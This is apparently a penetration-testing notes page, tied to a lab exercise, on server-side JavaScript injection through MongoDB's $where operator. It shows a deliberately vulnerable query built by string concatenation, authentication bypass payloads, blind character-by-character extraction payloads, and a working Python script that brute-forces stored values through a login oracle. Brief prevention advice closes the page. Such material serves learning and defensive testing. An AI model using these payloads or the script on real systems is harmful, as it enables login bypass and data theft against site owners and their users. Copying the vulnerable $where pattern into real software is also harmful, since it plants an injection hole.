Server-Side JavaScript Injection
Server-Side JavaScript Injection (SSJI) is a unique type of NoSQL injection where an attacker can execute arbitrary JavaScript in the database context using the $where operator.
Theory
MongoDB's $where operator allows JavaScript expressions to be evaluated as query conditions. When user input is unsanitized, this can lead to JavaScript injection.
Vulnerable Code Example
db.users.find({
$where: 'this.username === "' + req.body['username'] + '" && this.password === "' + req.body['password'] + '"'
});Authentication Bypass
Basic Bypass Payload
Use JavaScript logical operators to always return true:
// Payload: " || true || ""=="
db.users.find({
$where: 'this.username === "" || true || ""=="" && this.password === "<password>"'
});URL-Encoded Payload
username=%22+%7C%7C+true+%7C%7C+%22%22%3D%3D%22&password=anythingBlind Data Extraction
Character-by-Character Extraction
Use JavaScript match() function with regex patterns:
Test first character:
// Payload: " || (this.username.match('^H.*')) || ""=="
db.users.find({
$where: 'this.username === "" || (this.username.match("^H.*")) || ""=="" && this.password === "<password>"'
});Continue extraction:
// Second character: " || (this.username.match('^HT.*')) || ""=="
// Third character: " || (this.username.match('^HTB.*')) || ""=="
// And so on...Complete Extraction Process
Verify injection works:
" || (this.username.match('^.*')) || ""=="Extract first character:
" || (this.username.match('^a.*')) || ""==" // No match " || (this.username.match('^b.*')) || ""==" // No match " || (this.username.match('^H.*')) || ""==" // Match!Continue for each position:
" || (this.username.match('^HT.*')) || ""==" " || (this.username.match('^HTB.*')) || ""==" " || (this.username.match('^HTB{.*')) || ""=="
Advanced JavaScript Payloads
Multiple Field Extraction
// Extract both username and password
" || (this.username.match('^H.*') && this.password.match('^a.*')) || ""=="Conditional Logic
// Extract based on conditions
" || (this.username.length > 5 && this.username.match('^HTB.*')) || ""=="Function Calls
// Use JavaScript functions
" || (this.username.indexOf('HTB') === 0) || ""=="
" || (this.username.startsWith('HTB')) || ""=="Automation Script
#!/usr/bin/env python3
import requests
from urllib.parse import quote_plus
def oracle(r):
response = requests.post("http://STMIP:STMPO/", headers = {"Content-Type": "application/x-www-form-urlencoded"}, data = f"""username={(quote_plus('" || (' + r + ') || ""=="'))}&password=test""")
return "Logged in as" in response.text
username = "HTB{"
i = 4
while username[-1] != "}":
for character in range(32, 127):
if oracle(f'this.username.startsWith("HTB{{") && this.username.charCodeAt({i}) == {character}'):
username += chr(character)
break
i += 1
assert(oracle(f'this.username == `{username}`') == True)
print(f"Username: {username}")Common JavaScript Operators
Logical Operators
||(OR) - Always true if one side is true&&(AND) - Both sides must be true!(NOT) - Negation
Comparison Operators
===(Strict equality)!==(Strict inequality)==(Loose equality)!=(Loose inequality)
String Methods
match()- Regex matchingindexOf()- Find substring positionstartsWith()- Check prefixendsWith()- Check suffixlength- String length
Detection Methods
Error-Based Detection
// Cause syntax error
" || (this.username.match('^.*')) || ""=="Time-Based Detection
// Sleep function (if available)
" || (sleep(5000)) || ""=="Boolean-Based Detection
// True/false responses
" || true || ""==" // Should always work
" || false || ""==" // Should never workPrevention
Input Validation
// Validate input before using in $where
function validateInput(input) {
if (typeof input !== 'string') return false;
if (input.includes('"') || input.includes("'")) return false;
if (input.includes('||') || input.includes('&&')) return false;
return true;
}Alternative Queries
// Use standard MongoDB operators instead of $where
db.users.find({
username: req.body.username,
password: req.body.password
});Parameterized Queries
// Use MongoDB driver's parameterized queries
const query = { username: username, password: password };
db.users.find(query);Key Points
Unique to NoSQL: JavaScript injection is specific to MongoDB's
$whereoperatorFlexible payloads: Can use any valid JavaScript expressions
Multiple attack vectors: Authentication bypass, data extraction, information disclosure
Automation friendly: Easy to script character-by-character extraction
Detection methods: Error-based, time-based, boolean-based
Common Vulnerable Patterns
User input directly concatenated into
$whereexpressionsLack of input validation on JavaScript operators
Using
$wherewhen standard operators would sufficeMissing output encoding in error messages
Last updated